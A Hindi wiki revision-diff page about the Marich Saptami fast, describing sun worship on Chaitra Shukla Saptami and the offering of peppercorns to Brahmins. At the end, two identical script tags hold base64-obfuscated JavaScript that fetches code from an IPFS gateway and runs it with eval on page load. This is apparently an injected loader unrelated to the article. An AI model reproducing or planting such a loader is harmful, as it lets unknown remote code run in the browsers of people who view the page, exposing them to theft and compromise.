छो (मरिचसप्तमी का नाम बदलकर मरिच सप्तमी कर दिया गया है) |
No edit summary |
||
पंक्ति 14: | पंक्ति 14: | ||
|शोध= | |शोध= | ||
}} | }} | ||
==टीका टिप्पणी और संदर्भ== | |||
<references/> | |||
==अन्य संबंधित लिंक== | ==अन्य संबंधित लिंक== | ||
{{पर्व और त्योहार}} | {{पर्व और त्योहार}} | ||
{{व्रत और उत्सव}} | {{व्रत और उत्सव}} | ||
[[Category:व्रत और उत्सव]] | [[Category:व्रत और उत्सव]] | ||
[[Category:पर्व_और_त्योहार]] | [[Category:पर्व_और_त्योहार]] | ||
[[Category:संस्कृति कोश]] | [[Category:संस्कृति कोश]] | ||
__INDEX__ | __INDEX__ |
07:46, 6 सितम्बर 2010 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- मरिच सप्तमी चैत्र शुक्ल सप्तमी पर मनाई जाती है
- इस व्रत में सूर्य देवता की पूजा की जाती है।
- ब्राह्मणों के भोजन कराते है और प्रत्येक ब्राह्मण को 'ओं खखोल्काय' नामक मन्त्र के साथ 100 मरिच खाने होते हैं।
- इस व्रत के करने से कर्ता को अपने प्रियजनों का वियोग दुख प्राप्त नहीं होता है।
- राम एवं सीता तथा नल एवं दमयन्ती ने यह व्रत किया था।
- हेमाद्रि[1], और भविष्योत्तरपुराण[2] से भी उद्धरण मिलता है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>